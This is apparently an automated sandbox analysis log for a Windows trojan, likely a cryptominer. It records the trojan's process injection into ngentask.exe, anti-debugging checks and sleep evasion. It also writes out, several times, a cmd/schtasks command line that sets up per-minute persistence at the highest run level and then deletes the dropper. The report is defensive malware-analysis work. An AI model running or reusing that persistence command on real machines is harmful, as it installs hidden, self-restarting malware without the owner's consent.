Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AC0F20
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02ACE760
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AD0750
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AC24B0
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AC54F0
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AD1CC0
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AC8CD0
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02ACC420
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02ACD400
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AC85A0
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AC1DB0
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02A78D80
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AC3D80
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02ACC5E0
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02ACFD20
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02ACCD20
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AD1570
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Code function: 18_2_01040FA0

Source: QHSgso4hXH.exe, 00000000.00000003.271687790.000000000C196000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMiner.exe2 vs QHSgso4hXH.exe
Source: QHSgso4hXH.exe, 00000000.00000003.268964870.000000000C190000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMiner.exe2 vs QHSgso4hXH.exe

Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Section loaded: mscorsvc.dll
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Section loaded: mscorsvc.dll
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Section loaded: mscorsvc.dll
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Section loaded: mscorsvc.dll

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe CA003ECD9A6CAAE17824816D1D869173510B2EB3C13F62E1A5615F1DA64F9676

Source: QHSgso4hXH.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: QHSgso4hXH.exe	ReversingLabs: Detection: 32%
Source: QHSgso4hXH.exe	Virustotal: Detection: 34%

Source: QHSgso4hXH.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\QHSgso4hXH.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\QHSgso4hXH.exe C:\Users\user\Desktop\QHSgso4hXH.exe
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "ngentask" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\ngentask.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe" &&START "" "C:\Users\user\AppData\Local\ServiceHub\ngentask.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "ngentask" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\ngentask.exe" /rl HIGHEST /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe "C:\Users\user\AppData\Local\ServiceHub\ngentask.exe"
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe C:\Users\user\AppData\Local\ServiceHub\ngentask.exe
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe C:\Users\user\AppData\Local\ServiceHub\ngentask.exe
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe C:\Users\user\AppData\Local\ServiceHub\ngentask.exe
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "ngentask" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\ngentask.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe" &&START "" "C:\Users\user\AppData\Local\ServiceHub\ngentask.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "ngentask" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\ngentask.exe" /rl HIGHEST /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe "C:\Users\user\AppData\Local\ServiceHub\ngentask.exe"

Source: C:\Users\user\Desktop\QHSgso4hXH.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe

File created: C:\Users\user\AppData\Local\ServiceHub

Jump to behavior

Source: C:\Users\user\Desktop\QHSgso4hXH.exe

File created: C:\Users\user\AppData\Local\Temp\advapi32.dll

Jump to behavior

Source: classification engine

Classification label: mal88.troj.evad.winEXE@21/3@2/2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\QHSgso4hXH.exe

Code function: 0_2_00405660 GetDiskFreeSpaceW,_malloc,_malloc,_fwprintf_s,_wprintf,_fputc,

Source: ngentask.exe.1.dr, Win32Native.cs	Task registration methods: 'CreateProcessAsUser', 'CreateEvent', 'CreateEnvironmentBlock', 'CreateFile'
Source: ngentask.exe.1.dr, TaskHelper.cs	Task registration methods: 'CorCreateNGenProcess'
Source: 8.0.ngentask.exe.6d0000.0.unpack, Win32Native.cs	Task registration methods: 'CreateProcessAsUser', 'CreateEvent', 'CreateEnvironmentBlock', 'CreateFile'
Source: 8.0.ngentask.exe.6d0000.0.unpack, TaskHelper.cs	Task registration methods: 'CorCreateNGenProcess'

Source: 1.0.ngentask.exe.400000.0.unpack, ao.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 1.0.ngentask.exe.400000.0.unpack, ao.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.3.QHSgso4hXH.exe.c190000.0.unpack, ao.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 0.3.QHSgso4hXH.exe.c190000.0.unpack, ao.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.3.QHSgso4hXH.exe.c190000.1.unpack, ao.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 0.3.QHSgso4hXH.exe.c190000.1.unpack, ao.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5608:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6048:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4484:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5824:120:WilError_01
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Mutant created: \Sessions\1\BaseNamedObjects\ndhzlmhiae
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4912:120:WilError_01

Source: C:\Users\user\Desktop\QHSgso4hXH.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: QHSgso4hXH.exe

Static file information: File size 1138176 > 1048576

Source:

Binary string: NGenTask.pdb source: ngentask.exe, 00000008.00000000.291902355.00000000006D2000.00000002.00000001.01000000.00000008.sdmp, ngentask.exe.1.dr

Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_00401090 push ss; ret
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_0040516F pushad ; ret
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_00404139 push edx; ret
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_004039A1 push ebx; ret
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_00403ABC push ss; retf
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_00403B64 push es; retf
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_00401448 push ds; ret
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_004076C5 push ecx; ret

Source: C:\Users\user\Desktop\QHSgso4hXH.exe

Code function: 0_2_00402ABD LoadLibraryW,GetProcAddress,VirtualProtect,GetProcAddress,GlobalFree,

Source: initial sample

Static PE information: section name: .text entropy: 7.8950275690936

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe

File created: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "ngentask" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\ngentask.exe" /rl HIGHEST /f

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe TID: 2588	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe TID: 5812	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe TID: 6040	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe TID: 5428	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe TID: 5396	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\QHSgso4hXH.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\QHSgso4hXH.exe

Process information queried: ProcessInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\QHSgso4hXH.exe

Code function: 0_2_00407092 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

Source: C:\Users\user\Desktop\QHSgso4hXH.exe

Code function: 0_2_00402ABD LoadLibraryW,GetProcAddress,VirtualProtect,GetProcAddress,GlobalFree,

Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02A24340 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02A24340 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02A244D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02A244D0 mov eax, dword ptr fs:[00000030h]

Source: C:\Users\user\Desktop\QHSgso4hXH.exe

Process queried: DebugPort

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe

Memory allocated: page read and write | page guard

Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_00407092 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_00409142 SetUnhandledExceptionFilter,
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_00405705 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe base: 400000
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe base: DA2008

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\QHSgso4hXH.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe base: 400000 protect: page read and write

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\QHSgso4hXH.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe base: 400000 value starts with: 4D5A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Process created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe" /c chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "ngentask" /sc minute /tr "c:\users\user\appdata\local\servicehub\ngentask.exe" /rl highest /f && del /f /s /q /a "c:\windows\microsoft.net\framework\v4.0.30319\ngentask.exe" &&start "" "c:\users\user\appdata\local\servicehub\ngentask.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Process created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe" /c chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "ngentask" /sc minute /tr "c:\users\user\appdata\local\servicehub\ngentask.exe" /rl highest /f && del /f /s /q /a "c:\windows\microsoft.net\framework\v4.0.30319\ngentask.exe" &&start "" "c:\users\user\appdata\local\servicehub\ngentask.exe

Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "ngentask" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\ngentask.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe" &&START "" "C:\Users\user\AppData\Local\ServiceHub\ngentask.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1
